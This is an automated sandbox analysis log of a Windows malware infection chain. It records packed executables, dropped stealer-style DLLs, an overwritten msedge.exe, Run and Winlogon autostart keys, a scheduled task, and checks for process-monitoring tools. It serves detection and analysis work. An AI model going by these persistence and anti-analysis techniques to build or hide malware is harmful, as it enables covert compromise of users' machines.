Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name:
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name: .idata
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name:
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name: adligwjc
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name: fnzkdoce
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFD91C push ecx; ret	0_2_00CFD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF1359 push es; ret	0_2_00CF135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0098D91C push ecx; ret	2_2_0098D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0098D91C push ecx; ret	3_2_0098D92F
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBF640 push ecx; ret	9_2_00BBF653
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBEB78 push eax; ret	9_2_00BBEB96
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010125B5 push esp; retf	12_3_010125B7
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010125B5 push esp; retf	12_3_010125B7
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010131D0 push cs; retf 003Eh	12_3_010131D2
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010131D0 push cs; retf 003Eh	12_3_010131D2
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FAB073 push eax; ret	12_3_00FAB239
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FBFAA7 push edi; retf 003Eh	12_3_00FBFAAA
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FD43F8 pushfd ; iretd	12_3_00FD43FD
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FCE668 push esp; retf	12_3_00FCE66A
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FCC2E0 push eax; ret	12_3_00FCC2E1
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FD3C3C push esp; retf	12_3_00FD3C41
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FC95A4 push esp; retf	12_3_00FC95A6
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010125B5 push esp; retf	12_3_010125B7
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010125B5 push esp; retf	12_3_010125B7
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010131D0 push cs; retf 003Eh	12_3_010131D2
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_010131D0 push cs; retf 003Eh	12_3_010131D2
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_057A40D9 pushad ; iretd	12_3_057A40DA
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_057A4139 pushad ; ret	12_3_057A413A
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_057A40F1 pushad ; retf 003Dh	12_3_057A40F2

Source: file.exe	Static PE information: section name: entropy: 7.981030825493894
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.981030825493894
Source: random[2].exe.7.dr	Static PE information: section name: entropy: 7.788496824217724
Source: 4007342d09.exe.7.dr	Static PE information: section name: entropy: 7.788496824217724
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.985148780171564
Source: random[1].exe.7.dr	Static PE information: section name: ubvmxkob entropy: 7.95406419852494
Source: 26624fe56e.exe.7.dr	Static PE information: section name: entropy: 7.985148780171564
Source: 26624fe56e.exe.7.dr	Static PE information: section name: ubvmxkob entropy: 7.95406419852494
Source: random[1].exe0.7.dr	Static PE information: section name: entropy: 7.957868773364295
Source: random[1].exe0.7.dr	Static PE information: section name: ghqbbjwf entropy: 7.953073444747244
Source: random[1].exe1.7.dr	Static PE information: section name: adligwjc entropy: 7.954830419674156
Source: random[2].exe2.7.dr	Static PE information: section name: slztyuaa entropy: 7.956140744046495
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name: slztyuaa entropy: 7.956140744046495
Source: BrokerhostNet.exe.9.dr	Static PE information: section name: .text entropy: 7.557430002630692
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name: entropy: 7.788496824217724
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name: adligwjc entropy: 7.954830419674156
Source: MCdUWiJkswOzRL.exe.16.dr	Static PE information: section name: .text entropy: 7.557430002630692

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\TpmKebIc.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\KhFvuBjj.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\UlZluYeg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\AdKFKFnN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\iRizqjSy.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\QIbCILuV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	File created: C:\Bridgecontainerserver\BrokerhostNet.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\vkhfhZiZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File created: C:\Users\user\AppData\Local\Temp\RF8NX0YG4PUTM41CGFP36UTXEI9.exe	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File created: C:\Users\user\AppData\Local\Temp\GCPU1MQ2Z7D5AGIRNVCF0.exe	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\yoQeKGzB.log	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\AymfKYeB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\boWaNnOy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016099001\9e7ab8eefc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\freebl3[1].dll	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\QIbCILuV.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\boWaNnOy.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\KhFvuBjj.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\AymfKYeB.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File created: C:\Users\user\Desktop\yoQeKGzB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\UlZluYeg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\vkhfhZiZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\TpmKebIc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\AdKFKFnN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File created: C:\Users\user\Desktop\iRizqjSy.log	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Bridgecontainerserver\BrokerhostNet.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4007342d09.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 897a67bb94.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 91a3357555.exe	Jump to behavior
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BrokerhostNet
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 376a884392.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 376a884392.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 376a884392.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 91a3357555.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 91a3357555.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 897a67bb94.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 897a67bb94.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4007342d09.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4007342d09.exe	Jump to behavior
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BrokerhostNet
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BrokerhostNet
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BrokerhostNet
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BrokerhostNet

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
